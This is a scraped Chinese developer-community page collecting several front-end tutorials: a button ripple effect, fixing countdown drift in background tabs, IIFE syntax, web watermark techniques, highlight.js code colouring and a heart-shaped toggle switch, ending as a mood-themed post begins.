注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

按钮点击的水波效果

web
实现思路:水波效果可以用一个 span 来模拟,动画效果是缩放从 0 到大于零的值(比如 4),同时透明度从 1 到 0。点击 button 后,我们把这个 span 添加到 button 里即可。 HTML 结构比较简单,我们用 div 来表示 button...
继续阅读 »

image


实现思路:水波效果可以用一个 span 来模拟,动画效果是缩放从 0 到大于零的值(比如 4),同时透明度从 1 到 0。点击 button 后,我们把这个 span 添加到 button 里即可。


HTML


结构比较简单,我们用 div 来表示 button:


<div class="button">
Click Me
</div>

CSS


给 div 加点样式,让它看起来像个 button:


image


.button {
margin-left: 100px;
position: relative;
width: 100px;
padding: 8px 10px;
border: 1px solid lightgray;
border-radius: 5px;
cursor: pointer;
overflow: hidden;
user-select: none;
}

定义水波样式,默认 scale 为 0:


.ripple {
position: absolute;
border-radius: 50%;
transform: scale(0);
animation: ripple 600ms linear;
background-color: rgba(30, 184, 245, 0.7);
}

水波动画:


@keyframes ripple {
to {
transform: scale(4);
opacity: 0;
}
}

javascript


点击按钮时,生成水波效果,先把结构加上:


function playRipple(event) {
// TODO:生成水波效果
}

// 为 button 添加点击事件
document
.querySelector('.button')
.addEventListener('click', event => {
playRipple(event);
})

我们看一下水波如何生成,为了方便理解,可以结合图来看,其中黑点表示鼠标点击的位置,蓝色的圆是点击后水波默认大小的圆,** ?**就表示要计算的 circle.style.left:


image


function playRipple(event) {
const button = event.currentTarget;
const buttonRect = button.getBoundingClientRect();

const circle = document.createElement("span");
// 圆的直径
const diameter = Math.max(button.clientWidth, button.clientHeight);
// 圆的半径
const radius = diameter / 2;

// 计算 ripple 的位置
circle.style.width = circle.style.height = `${diameter}px`;
circle.style.left = `${event.clientX - (buttonRect.left + radius)}px`;
circle.style.top = `${event.clientY - (buttonRect.top + radius)}px`;
// 添加 ripple 样式
circle.classList.add("ripple");
// 移除已存在的 ripple
removeRipple(button);
// 将 ripple 添加到 button 上
button.appendChild(circle);
}

// 移除 ripple
function removeRipple(button) {
const ripple = button.querySelector(".ripple");

if (ripple) {
ripple.remove();
}
}

看下效果:
image


总结


又水了一篇文章😂,如果对你有启发,欢迎点赞、评论。


参考


css-tricks.com/how-to-recr…


作者:探险家火焱
来源:juejin.cn/post/7224063449617383485
收起阅读 »

“浏览器切换到其他页面或最小化时,倒计时不准确“问题解析

web
背景 我最近修复了一个倒计时延迟的bug,情况是用户10:00设置了10分钟倒计时,10:06查看时发现倒计时还有8分钟,倒计时出不准确、延迟的情况。 倒计时大概逻辑如下: const leftTime = 600; //单位为秒 const timer = ...
继续阅读 »

背景


我最近修复了一个倒计时延迟的bug,情况是用户10:00设置了10分钟倒计时,10:06查看时发现倒计时还有8分钟,倒计时出不准确、延迟的情况。


倒计时大概逻辑如下:


const leftTime = 600; //单位为秒
const timer = setInterval(() => {
leftTime -= 1;
if(leftTime === 0) {
clearInterval(timer);
}
}, 1000);

通过排查是浏览器的优化策略导致的。


为什么浏览器优化策略会造成定时器不准时?又该怎么解决这个问题?本文会围绕这两个问题展开说明!


浏览器优化策略对定时器的影响


浏览器的优化策略是指浏览器为了提高性能和节省资源而对特定任务进行的优化。在后台标签页中,浏览器可能会对一些任务进行节流或延迟执行,以减少CPU和电池的消耗。


而定时器setIntervalsetTimeout就是受浏览器优化策略的影响,导致定时器的执行时间间隔被延长。所以在浏览器切换到其他页面或者最小化时,当前页面的定时器可能不会按照预期的时间间隔准时执行。


我们实验一下:设置一个定时器,每500ms在控制台输出当前时间;然后再监听该标签页的visibilitychange事件,当其选项卡的内容变得可见或被隐藏时,会触发该事件。


// 设置定时器
const leftTime = 600; // 倒计时剩余时间
setInterval(() => {
const date = new Date();
leftTime.value -= 1;
console.log(`倒计时剩余秒数:${ leftTime.value }`, `当前时间秒数:${ date.getSeconds() }`);
}, 1000);
// 通过监听 visibilitychange 事件来判别该页面是否可见
document.addEventListener('visibilitychange', function () {
if(document.hidden) {
console.log('页面不可见')
}
})

执行结果如下:


image.png


我们观察执行结果会发现,在标签页处于不可见状态后,setInterval从1000ms的时间间隔延长成了2000ms。


由此可见,当浏览器切换其他页面或者最小化时,倒计时的误差就出现了,setInterval定时器也不会在1000ms后减去1。对于时间较长的倒计时来说,误差会更大。


解决思路


既然浏览器的定时器有问题,那我们就不依赖定时器去计算剩余时间。


我们可以在用户配置倒计时后,立即计算出结束时间并保存,随后通过结束时间减去本地时间就得出了剩余时间,而且不会受定时器延迟的影响。将最上面提及到的倒计时伪代码修改如下:


// ......
const leftTime = 600 * 1000
const endTime = Date.now() + leftTime; // 倒计时结束时间
setInterval(() => {
const date = new Date();
leftTime = Math.round((endTime - Date.now()) / 1000);
console.log(`倒计时剩余秒数:${ leftTime }`, `当前时间秒数:${ date.getSeconds() }`);
if(leftTime <= 0) {
clearInterval(timer);
}
}, 1000)

根据以上代码进行计算,即使标签页不处于可见状态,setInterval延迟执行,对leftTime也没有影响。
执行结果如下(标签页处于不可见状态时):
image.png


题外话


用 setTimeout 实现 setInterval


实现思路是setTimeout的递归调用。以上面的举例代码为例作修改:


const leftTime = 600 * 1000;
const endTime = Date.now() + leftTime; // 倒计时结束时间
function setTimer() {
leftTime = Math.round((endTime - Date.now()) / 1000);
if ( leftTime <= 0 ) {
endTime = 0;
leftTime = 0;
} else {
setTimeout(setTimer, 1000);
}
}

本次分享就到这,希望可以帮助到有同样困扰的小伙伴哦~


作者:Swance
来源:juejin.cn/post/7309693162369171507
收起阅读 »

JS: function前面加!,引发思考🤔

web
简介 我们基本都知道,函数的声明方式有这两种 function msg(){alert('msg');}//声明式定义函数 var msg = function(){alert('msg');}//函数赋值表达式定义函数 但其实还有第三种声明方式,Func...
继续阅读 »

简介


我们基本都知道,函数的声明方式有这两种


function msg(){alert('msg');}//声明式定义函数

var msg = function(){alert('msg');}//函数赋值表达式定义函数

但其实还有第三种声明方式,Function构造函数


var msg = new function(msg) {
alert('msg')
}

等同于


function msg(msg) {
alert('msg')
}

函数的调用方式通常是方法名()

但是,如果我们尝试为一个“定义函数”末尾加上(),解析器是无法理解的。


function msg(){
alert('message');
}();//解析器是无法理解的

定义函数的调用方式应该是 print(); 那为什么将函数体部分用()包裹起来就可以了呢?

原来,使用括号包裹定义函数体,解析器将会以函数表达式的方式去调用定义函数。 也就是说,任何能将函数变成一个函数表达式的作法,都可以使解析器正确的调用定义函数。而 ! 就是其中一个,而 + - || ~ 都有这样的功能。


但是请注意如果用括号包裹函数体,然后立即执行。这种方式只适用一次性调用该函数,涉及到了一个作用域问题,当你想复用该函数的时候,会如下问题:


image.png

可如果你想复用该函数的话,就可按先声明函数,然后再调用函数,在同一个父级作用域下,可以复用该函数,如下:


var msg = function(msg) {}
msg();

关于这个问题,后面会进一步分析


function前面加 ! ?


自执行匿名函数:


在很多js代码中我们常常会看见这样一种写法:


(function( window, undefined ) {
// code
})(window);

这种写法我们称之为自执行匿名函数。正如它的名字一样,它是自己执行自己的,前一个括号是一个匿名函数,后一个括号代表立即执行


前面也提到 + - || ~这些运算符也同样有这样的功能


(function () { /* code */ } ()); 
!function () { /* code */ } ();
~function () { /* code */ } ();
-function () { /* code */ } ();
+function () { /* code */ } ();

image.png

① ( ) 没什么实际意义,不操作返回值


② ! 对返回值的真假取反


③ 对返回值进行按位取反(所有正整数的按位取反是其本身+1的负数,所有负整数的按位取反是其本身+1的绝对值,零的按位取反是 -1。其中,按位取反也会对返回值进行强制转换,将字符串5转化为数字5,然后再按位取反。
false被转化为0,true会被转化为1。
其他非数字或不能转化为数字类型的返回值,统一当做0处理)


④ ~
+、- 是对返回值进行数学运算 ( 可见返回值不是数字类型的时候 +、- 会将返回值进行强制转换,字符串强制转换后为NaN)


先从IIFE开始介绍 (注:这个例子是参考网上


IIFE(Imdiately Invoked Function Expression 立即执行的函数表达式)


function(){
alert('IIFE');
}

把这个代码放在console中执行会报错


image.png


因为这是一个匿名函数,要想让它正常运行就必须给个函数名,然后通过函数名调用。

其实在匿名函数前面加上这些符号后,就把一个函数声明语句变成了一个函数表达式,是表达式就会在script标签中自动执行


所以现在很多对代码压缩和编译后,导出的js文件通常如下:


(function(e,t){"use strict";function n(e){var t=e.length,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}function r(e){var t=Tt[e]={};return st.each(e.match(lt)||[],function(e,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]&&s;if(f&&c[f]&&(i||c[f].data)||!u||r!==t)return f||(l?e[s]=f=K.pop()||st.guid++:f=s),c[f]||(c[f]={},l||(c[f].toJSON=st.noop)),("object"==typeof n||"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.extend(c[f].data,n)),o=c[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].data)){st.isArray(t)?t=t.concat(st.map(t,st.camelCase)):t in r?t=[t]:(t=st.camelCase(t),t=t in r?[t]:t.split(" "));for(i=0,o=t.length;o>i;i++)delete r[t[i]];if(!(n?s:st.isEmptyObject)(r))return}(n||(delete u[l].data,s(u[l])))&&(a?st.cleanData([e],!0):st.support.deleteExpando||u!=u.window?delete u[l]:u[l]=null)}}}function a(e,n,r){if(r===t&&1===e.nodeType){var i=""+n.replace(Nt,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:wt.test(r)?st.parseJSON(r):r}catch(o){}st.data(e,n,r)}else r=t}return r}function s(e){var t;for(t in e)if(("data"!==t||!st.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function u(){return!0}function l(){return!1}function c(e,t){do 

运算符


也许这里有人会疑惑,运算符为何能将声明式函数,转译成函数表达式,这里就涉及到了一个概念解析器


程序在运行之前需要经过编译或解释的过程,把源程序翻译成为字节码,但是在翻译之前,需要把字符串形式的程序源码解析为语法树或者抽象语法树等数据结构,这就需要用到解析器


那么什么是解析器?


所谓解析器(Parser),一般是指把某种格式的文本(字符串)转换成某种数据结构的过程。最常见的解析器(Parser),是把程序文本转换成编译器内部的一种叫做抽象语法树(AST)的数据结构,此时也叫做语法分析器(Parser)。也有一些简单的解析器(Parser),用于处理CSV、JSON,XML之类的格式


JS解析器在执行第一步预解析的时候,会从代码的开始搜索直到结尾,只去查找var、function和参数等内容。一般把第一步称之为“JavaScript的预解析”。而且,当找到这些内容时,所有的变量,在正式运行代码之前,都提前赋了一个值:未定义;所有的函数,在正式运行代码之前,都是整个函数块。让解析器识别到是一个表达式,那就得加上特殊符号来让其解析器识别出来,比如刚才提到的特殊运算符。


解析过程大致如下:


1、“找一些东西”: var、 function、 参数;(也被称之为预解析)


备注:如果遇到重名分为以下两种情况:遇到变量和函数重名了,只留下函数;遇到函数重名了,根据代码的上下文顺序,留下最后一个。


2、逐行解读代码。


备注:表达式可以修改预解析的值 (可以自行查阅文档,这就是后面说到的内容)


函数声明与函数定义


函数声明
一般相对规范的声明形式为:fucntion msg(void) 注意是有分号


function msg() 

函数定义 function msg()注意没有分号


{
alert('IIFE');
}

函数调用


这样是一个函数调用


msg();

函数声明加一个()就可以调用函数了


function msg(){
alert('IIFE');
}()

就这样

但是我们按上面在console中执行发现出错了


image.png


因为这样的代码混淆了函数声明和函数调用,以这种方式声明的函数 `msg`,就应该以 `msg()` 的方式调用。

若改成(function msg())()就是这样的一个结构体: (函数体)(IIFE),能被Javascript的解析器识别并正常执行


从Js解析器的预解析过程了解到:


解析器都能识别一种模式:使用括号封装函数。对于解析器来说,这几乎总是一个积极的信号,即函数需要立即执行。如果解析器看到一个左括号,紧接着是一个函数声明,它将立即解析这个函数。可以通过显式地声明立即执行的函数来帮助解析器加快解析速度


那么也就是说,括号的作用,就是将一个函数声明,让解析器识别为一个表达式,最后由程序执行这个函数


总结


任何消除函数声明和函数表达式间歧义的方法,都可以被Javascript解析器正确识别


赋值,逻辑,甚至是逗号,各种操作符,只要是解析器支持且用来识别的特殊符号都可以用作消除歧义的方式方法,而!function()(function()), 都是其中转换成表达式的一种方式。


测试


至于优先使用哪一个,推荐(), 而其他运算符,相对于多了一步执行步骤,比如+(表达式),那就是,立即执行+运算符运算,
大致测了一下:


image.png


结论


从测试结果的截图中我们能大致的看到,(IIFE)方式,比运算符快的是一个级别(进一位数的速度),如果说立即执行()的时间复杂度是O(n),那么运算符就是O(10n),当然这也只是粗略的测试,而且在现有的浏览器解析速度,时间基数小到可以忽略不计,所以看个人需求,写法就是萝卜白菜,大家各有所好,看个人


作者:糖墨夕
来源:juejin.cn/post/7203734711780081722
收起阅读 »

重新认识下网页水印

web
使用背景图图片 单独使用 css 实现,使用 backgroundImage,backgroundRepeat 将背景图片平铺到需要加水印的容器中即可。 如果希望实现旋转效果,可以借助伪元素,将背景样式放到伪元素中,旋转伪元素实现: <style>...
继续阅读 »

使用背景图图片


单独使用 css 实现,使用 backgroundImage,backgroundRepeat 将背景图片平铺到需要加水印的容器中即可。
如果希望实现旋转效果,可以借助伪元素,将背景样式放到伪元素中,旋转伪元素实现:


<style>
.watermark {
position: relative;
overflow: hidden;
background-color: transparent;
}
.watermark::before {
content: '';
position: absolute;
width: 160%;
height: 160%;
top: -20%;
left: -20%;
z-index: -1;
background-image: url('./watermark.png');
background-position: 0 0;
background-origin: content-box;
background-attachment: scroll;
transform: rotate(-20deg);
background-size: auto;
background-repeat: round;
opacity: 0.3;
pointer-events: none;
}
</style>

动态生成div


根据水印容器的大小动态生成div,div内可以任意设置文本样式和图片,借助userSelect禁止用户选中文本水印;


const addDivWaterMark = (el, text) => {
const { clientWidth, clientHeight } = el;
const waterWrapper = document.createElement('div');
waterWrapper.className = "waterWrapper";
const column = Math.ceil(clientWidth / 100);
const rows = Math.ceil(clientHeight / 100);
// 根据容器宽高动态生成div
for (let i = 0; i < column * rows; i++) {
const wrap = document.createElement('div');
wrap.className = "water";
wrap.innerHTML = `<div class="water-item">${text}</div>`
waterWrapper.appendChild(wrap)
}
el.append(waterWrapper)
}

Canvas写入图片做背景水印


将图片写入Canvas然后将Canvas作为背景图


  const img = new Image();
const { ctx, canvas } = createWaterMark(config);
img.onload = function () {
ctx.globalAlpha = 0.2;
ctx.rotate(Math.PI / 180 * 20);
ctx.drawImage(img, 0, 16, 180, 100);
canvasRef.value.style.backgroundImage = `url(${canvas.toDataURL()})`
};
img.src = ImageBg;

Canvas写入文字做背景水印


将文字写入Canvas然后将Canvas作为背景图


 const canvas = document.createElement('canvas');
canvas.width = width;
canvas.height = height;
const ctx = canvas.getContext('2d');
ctx.clearRect(0, 0, width, height);
ctx.fillStyle = fillStyle;
ctx.globalAlpha = opacity;
ctx.font = font
ctx.rotate(Math.PI / 180 * rotate);
ctx.fillText(text, 0, 50);
return canvas

Svg做水印


通过svg样式来控制水印样式,再将svg转换成base64的背景图


  const svgStr =
`<svg xmlns="http://www.w3.org/2000/svg" width="180px" height="100px">
<text x="0px" y="30px" dy="16px"
text-anchor="start"
stroke="#000"
stroke-opacity="0.1"
fill="none"
transform="rotate(-20)"
font-weight="100"
font-size="16"> 前端小书童</text>
</svg>`
;
return `data:image/svg+xml;base64,${window.btoa(unescape(encodeURIComponent(svgStr)))}`;

shadowDom水印


使用customElements自定义个一个标签(可以使用其他任意标签,不过注意shadow DOM会使起同级的元素不显示。)
可以像shadow DOM写入style样式和水印节点(可以使用背景或者div形式)
shadow DOM内部实现的样式隔离不用担心写入的style影响页面其他元素样式,这个特性在微前端的实现中也被广泛使用。


 class ShadowMark extends HTMLElement {
constructor() {
super();
const shadowRoot = this.attachShadow({ mode: 'open' });
const wrapContainer = document.createElement('div')
const style = document.createElement('style');
style.textContent = `
.wrapContainer {
width: 100%;
height: 100%;
display: flex;
flex-wrap: wrap;
}
.watermark-item {
display: flex;
font-size: 16px;
opacity: .3;
transform: rotate(-20deg);
user-select: none;
white-space: nowrap;
justify-content: center;
align-items: center;
}`
;
const waterHeight = 100
const waterWidth = 100
const { clientWidth, clientHeight } = document.querySelector('.shadow-watermark')
const column = Math.ceil(clientWidth / waterWidth)
const rows = Math.ceil(clientHeight / waterHeight)
wrapContainer.setAttribute('class', "wrapContainer")
for (let i = 0; i < column * rows; i++) {
const wrap = document.createElement('div')
wrap.setAttribute('class', 'watermark-item')
wrap.style.width = waterWidth + 'px'
wrap.style.height = waterHeight + 'px'
wrap.textContent = "前端小书童"
wrapContainer.appendChild(wrap)
}
shadowRoot.appendChild(style);
shadowRoot.appendChild(wrapContainer)
}
}
customElements.define('shadow-mark', ShadowMark);

盲水印


canvas画布(canvas.getContext('2d'))调用 getImageData 得到一个 ArrayBuffer,用于记录画布每个像素的 rgba 值


r: Red取值范围0255
g: Green取值范围0
255
b:Blue取值范围0255
a:Alpha 透明度取值范围0
1,0代表全透明
可以理解为每个像素都是通过红、绿、蓝三个颜色金额透明度来合成颜色


方案一:低透明度方案的暗水印


当把水印内容的透明度 opacity 设置很低时,视觉上基本无法看到水印内容,但是通过修改画布的 rgba 值,可以使水印内容显示出来。
选择固定的一个色值例如R,判断画布R值的奇偶,将其重置为0或者255,低透明的内容就便可以显示出来了。


const decode = (canvas, colorKey, flag, otherColorValue) => {
const ctx = canvas.getContext('2d');
const originalData = ctx.getImageData(0, 0, ctx.canvas.width, ctx.canvas.height);
let data = originalData.data;
for (let i = 0; i < data.length; i++) {
//筛选每个像素点的R值
if (i % 4 == colorKey) {
if (data[i] % 2 == 0) {
//如果色值为偶数
data[i] = flag ? 255 : 0;
} else {
//如果色值为奇数
data[i] = flag ? 0 : 255;
}
} else if (i % 4 == 3) {
//透明度不作处理
continue;
} else {
// 关闭其他色值
if (otherColorValue !== undefined) {
data[i] = otherColorValue
}
}
}
ctx.putImageData(originalData, 0, 0);
}

方案二:将水印内容以像素偏差记录到画布中


用画布和水印后的画布绘制的像素进行ArrayBuffer对比,在存在水印像素的位置(水印画布透明度不为0)修改图片画布的奇偶,这样通过上面指定色值和奇偶去解码时,修改的文本像素就会被显示出来;


const encode = (ctx, textData, color, originalData) => {
for (let i = 0; i < originalData.data.length; i++) {
// 只处理目标色值
if (i % 4 == color) {
// 水印画布透明度为0
if (textData[i + offset] === 0 && (originalData.data[i] % 2 === 1)) {
// 放置越界
if (originalData.data[i] === 255) {
originalData.data[i]--;
} else {
originalData.data[i]++;
}
// 水印画布透明度不为0
} else if (textData[i + offset] !== 0 && (originalData.data[i] % 2 === 0)) {
originalData.data[i]++;
}
}
}
ctx.putImageData(originalData, 0, 0);
}

方案三:数字加密


在图像信号的频域(变换域)中隐藏信息要比在空间域(上面得到的像素颜色的ArrayBuffer)中隐藏信息具有更好的防攻击性。
这部分暗水印的实现,可以直接使用阿里云提供给的api,不过需要图片资源藏到的阿里云的OSS下;


MutationObserver


可以发现上面水印基本都是通过增加节点或者背景图的形式来实现,那用户其实可以通过屏蔽样式或者删除Dom来消除水印,那么我们可以借用MutationObserver来监听下水印dom的变化,来阻止用户以这种形式来消除水印;



代码



以上代码见:github.com/wenjuGao/wa…


线上效果:watermark-demo.vercel.app/



参考:



http://www.cnblogs.com/88223100/p/…


blog.csdn.net/bluebluesky…


developer.mozilla.org/zh-CN/docs/…


作者:前端小书童
来源:juejin.cn/post/7208465670991872061
收起阅读 »

你的代码着色好看吗?来这里看看吧!

web
如果你想在网页上展示一些代码,你可能会遇到一个问题:代码看起来很单调,没有任何颜色或格式,这样的代码不仅不美观,也不利于阅读和理解。 那么,有没有什么办法可以让代码变得更漂亮呢?答案是有的,而且很简单。 你只需要使用一个叫做 highlight.js 的第三方...
继续阅读 »

如果你想在网页上展示一些代码,你可能会遇到一个问题:代码看起来很单调,没有任何颜色或格式,这样的代码不仅不美观,也不利于阅读和理解。


那么,有没有什么办法可以让代码变得更漂亮呢?答案是有的,而且很简单。


你只需要使用一个叫做 highlight.js 的第三方库,就可以轻松实现代码着色的效果。



highlight.js 是一个非常强大和流行的库,它可以自动识别和着色超过 190 种编程语言。


它支持多种主题和样式,让你可以根据自己的喜好选择合适的配色方案。


在本文中,子辰将向你介绍如何使用 highlight.js 来为你的代码着色,以及它的基本原理和优势。


让我们开始吧!


如何使用 highlight.js


使用 highlight.js 的方法有两种:一种是通过 npm 下载并安装到你的项目中,另一种是通过 CDN 引入到你的网页中。


这里我们以 CDN 的方式为例,如果你想使用 npm 的方式,可以参考官方文档。


首先,我们需要在网页中引入 highlight.js 的 JS 文件和 CSS 文件。


JS 文件是核心文件,负责识别和着色代码,CSS 文件是样式文件,负责定义代码的颜色和格式。



我们可以从 CDN 中选择一个合适的 JS 文件和 CSS 文件。


highlight.js 提供了多个 CDN 服务商,你可以根据自己的需求选择一个,这里我们以 jsDelivr 为例。


JS 文件的链接如下:


<script src="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release/build/highlight.min.js"></script>

CSS 文件的链接则需要根据你想要的主题来选择。


highlight.js 提供了很多主题,你可以在官网上预览每个主题的效果,并找到对应的 CSS 文件名,这里我们以 github-dark 为例。


CSS 文件的链接如下:


<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release/build/styles/github-dark.min.css">

将上面两个链接分别放到网页的 head 标签中,就完成了引入 highlight.js 的步骤。


接下来,我们需要在网页中写一些代码,并用 pre 标签和 code 标签包裹起来。


pre 标签用于保留代码的格式,code 标签用于标识代码内容。例如:


<pre>
<code id="code-area">
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
display: flex;
justify-content: center;
align-items: center;
gap: 20px;
height: 100vh;
width: 100vw;
}
</code>
</pre>

注意,我们给 code 标签添加了一个 id 属性,方便后面通过 JS 获取它。


最后,我们需要在网页中添加一些 JS 代码,来调用 highlight.js 的方法,实现代码着色的功能。


highlight.js 提供了两个主要的方法:highlightElement 和 highlight。


这两个方法都可以实现代码着色的效果,但是适用于不同的场景。


highlightElement


highlightElement 方法适用于当你的代码是直接写在网页中的情况。


这个方法接受一个元素作为参数,并将该元素内部的文本内容进行着色处理。例如:


// 获取 code 元素
const codeEle = document.getElementById("code-area");
// 调用 highlightElement 方法,传入 code 元素
hljs.highlightElement(codeEle);

如果一切顺利,你应该能看到类似下图的效果:



代码已经被着色了,并且你可以看到代码被替换成了一个个标签,标签被加上了样式。


在最后的原理里我们在详细的说一下。


highlight


highlight 方法适用于当你的代码是通过 Ajax 请求获取到的纯文本数据的情况。


这个方法接受一个字符串作为参数,并返回一个对象,包含着色后的文本内容和代码的语言。例如:


<script>
const codeEle = document.getElementById('code-area')
// 比如说现在 code 就是 Ajax 返回的数据,lang 就是代码语言,content 就是代码内容
const code = {
lang: 'css',
content: `
* {
margin: 0;
padding: 0;
}`

}
// 我们接下来可以使用 hljs.highlight,将代码内容与代码语言传入进去
const result = hljs.highlight(code.content, {
language: code.lang
})
// 它会返回一个结果,我们打印到控制台看看
console.log('result >>> ', result)
</script>


我们可以看到,打印出来的是一个对象,code 是它原始的代码,language 是它的语言,而 value 就是它着色后的代码。


那么现在要做的就是将 value 添加到 code 元素里边去。


<script>
const code = {
lang: 'css',
content: `
* {
margin: 0;
padding: 0;
}`

}
const result = hljs.highlight(code.content, {
language: code.lang
})
const codeEle = document.getElementById('code-area')
codeEle.innerHTML = result.value
</script>


我们可以看到,代码确实被着色了,但是和之前的有所差别,我们看一下是什么原因。



打开控制后我们发现,用这种方式 code 元素就没有办法被自动加上类样式了,所以说我们就需要手动给 code 加上类样式才可以。


// 通过 className 为 code 手动添加类样式,并添加类的语言
codeEle.className = `hljs language-${code.lang}`

highlight.js 的语言支持


无论使用哪种方法,都需要注意指定代码所属的语言。


如果不指定语言,highlight.js 会尝试自动识别语言,并可能出现错误或不准确的结。


指定语言可以通过两种方式:



  • 在 code 标签中添加 class 属性,并设置为 language-xxx 的形式,其中 xxx 是语言名称。

  • 在调用 highlightElement 或 highlight 方法时,在第二个参数中传入一个对象,并设置 language 属性为语言名称。



上图是 highlight.js 支持的语言,可以看到有很多种,需要用其他语言的时候,language 设置成指定的语言名称就可以了。


原理


它的原理你可能已经猜到了,在 highlightElement 里我们简单说了一下,现在再看下图:



之所以可以实现着色,其实就是查找和替换的过程,将原来的纯文本替换为元素标签包裹文本,元素是可以加上样式的,而样式就是我们引入的 css 文件。


这就是它的基本原理了。


总结


其实有时候我们去设置 Mackdown 的自定义样式呢,在代码区域设置的时候也是这样设置的,当然类样式的名字呢,基本上都是标准的格式。


好了,这个库分享介绍给你了,库的原理也为你做了简单的科普,希望对你有所帮助。


如果你有什么问题或建议,请在评论区留言,如果你觉得这篇文章有用,请点赞收藏或分享给你的朋友!


作者:子辰Web草庐
来源:juejin.cn/post/7245584147456507965
收起阅读 »

😲什么!!一个开关要这么花里胡哨??

web
前言 前几天我的朋友突然找上我,说他公司产品要他做个很花哨的开关特效,我一想一个开关而已,还能花哨到哪去,无非就是加点动画特效吗,随后我承认我低估了这个产品的脑洞,需求是要一个粉粉嫩嫩的爱心开关,关的时候背景色是白的,打开后要粉色,而且爱心开关按钮是从左心房滚...
继续阅读 »

前言


前几天我的朋友突然找上我,说他公司产品要他做个很花哨的开关特效,我一想一个开关而已,还能花哨到哪去,无非就是加点动画特效吗,随后我承认我低估了这个产品的脑洞,需求是要一个粉粉嫩嫩的爱心开关,关的时候背景色是白的,打开后要粉色,而且爱心开关按钮是从左心房滚动到右心房(这是我朋友对产品心里话:************ 😄)随后我也是去翻了一下收藏集,找了一个效果给了他,让他自己再根据公司需求进行改动


结构


这里我们利用label标签对开关按钮及爱心的点击触发效果,内部使用一个复选框跟一个svg图标来进行布局


<label class="box">
<!-- 复选框,有选中状态 -->
<input type="checkbox">

<!-- 心形图标 -->
<svg viewBox="0 0 33 23" fill="pink">
<path
d="M23.5,0.5 C28.4705627,0.5 32.5,4.52943725 32.5,9.5 C32.5,16.9484448 21.46672,22.5 16.5,22.5 C11.53328,22.5 0.5,16.9484448 0.5,9.5 C0.5,4.52952206 4.52943725,0.5 9.5,0.5 C12.3277083,0.5 14.8508336,1.80407476 16.5007741,3.84362242 C18.1491664,1.80407476 20.6722917,0.5 23.5,0.5 Z">

</path>
</svg>
</label>


svg图标大家可以复制这个或者自己去网上找一个图标也可以,不过如果是网上找的则需要自己去重新计算开关打开和关闭的动画位置


样式


结构有了开始写样式,让开关好看点



  • 初始化


        * {
margin: 0;
padding: 0;
box-sizing: border-box;
/* 解决手机浏览器点击有选框的问题 */
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}


  • 大盒子居中,盒子样式及移入鼠标样式,svg样式调整


        body {
/* 常规居中显示,简单背景色 */
display: flex;
justify-content: center;
align-items: center;
overflow: hidden;
min-height: 100vh;
background-color: #f6f6ff;
}

.box {
/* 整个父盒子区域都可以点,是个小手 */
cursor: pointer;
/* 过渡动画时间,主要是按下缩小一圈 */
transition: transform 0.2s;
position: relative;
}
.box input {
/* 去除默认复选框样式 */
appearance: none;
/* 中间滑动圆圈的宽高,简单白色背景 */
width: 20vmin;
height: 20vmin;
border-radius: 50%;
background-color: #ffffff;
/* 灰色阴影 */
box-shadow: 0 0.5vmin 2vmin rgba(0, 0, 0, 0.2);
/* 鼠标小手 */
cursor: pointer;
}

.box svg {
/* 中间心形图标的宽高,撑开整个开关区域 */
width: 40vmin;
height: 30vmin;
/* background-color: skyblue; */

/* 中间填充颜色 */
fill: #ffffff;
/* 描边颜色,描边头是圆润的 */
stroke: #d6d6ee;
stroke-linejoin: round;

}



  • 开关动画


 @keyframes animate-on {

/* 动画就是简单的位置变换,要根据情况调整 */
0% {
top: 2.5vmin;
left: 1.5vmin;
}

25% {
top: 5.5vmin;
left: 5vmin;
}

50% {
top: 7vmin;
left: 10vmin;
/* 到正中间时圆大一小圈 */
transform: scale(1.05);
}

75% {
top: 5.5vmin;
left: 15vmin;
}

100% {
top: 2.5vmin;
left: 18.5vmin;
}
}

@keyframes animate-off {

/* 关闭的动画就是反着来 */
0% {
top: 2.5vmin;
left: 18.5vmin;
}

25% {
top: 5.5vmin;
left: 15vmin;
}

50% {
top: 7vmin;
left: 10vmin;
transform: scale(1.05);
}

75% {
top: 5.5vmin;
left: 5vmin;
}

100% {
top: 2.5vmin;
left: 1.5vmin;
}
}

细节:开关按钮的小球到中间时要变大一点点,因为爱心之间位置比较大一点,这样滑动起来才好看


完整代码


code.juejin.cn/pen/7173909…


结尾


朋友收到代码后连连道谢,还非要请我周末去吃个烤🐏腰子补补,哎!!盛情难却,勉为其难的去吃吧,声明:我可不是为了那🐏腰子去的啊!主要是人家盛情邀请,咱们没办法拒绝😁。如果代码中有任何错误欢迎大家指正,相互学习相互进步


作者:一骑绝尘蛙
来源:juejin.cn/post/7173940249440026631
收起阅读 »

产品经理:能不能根据用户心情自动切换主题。我:好的。

web
效果展示 在线体验地址:dbfu.github.io/antd-pro-ex…,需要开启摄像头权限,不支持手机浏览器。 代码仓库地址:github.com/dbfu/antd-p… 前言 这个灵感来自于zxg_神说要有光大佬的写一个可以当镜子照的Button...
继续阅读 »

效果展示


